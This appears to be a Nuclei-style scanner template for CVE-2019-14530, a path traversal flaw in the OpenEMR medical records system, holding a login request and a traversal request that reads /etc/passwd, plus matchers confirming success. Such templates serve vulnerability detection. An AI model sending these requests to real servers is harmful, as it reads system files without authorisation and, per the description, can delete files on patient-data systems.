53 lines
1.7 KiB
YAML
53 lines
1.7 KiB
YAML
id: CVE-2019-14530
|
|
|
|
info:
|
|
name: OpenEMR < 5.0.2 - Path Traversal
|
|
author: TenBird
|
|
severity: high
|
|
description: |
|
|
An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50037
|
|
- https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-14530
|
|
- https://github.com/openemr/openemr/pull/2592
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2019-14530
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
verified: "true"
|
|
tags: lfi,authenticated,edb,cve,cve2019,openemr
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
|
|
|
|
- |
|
|
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
redirects: true
|
|
max-redirects: 2
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- filename=passwd
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|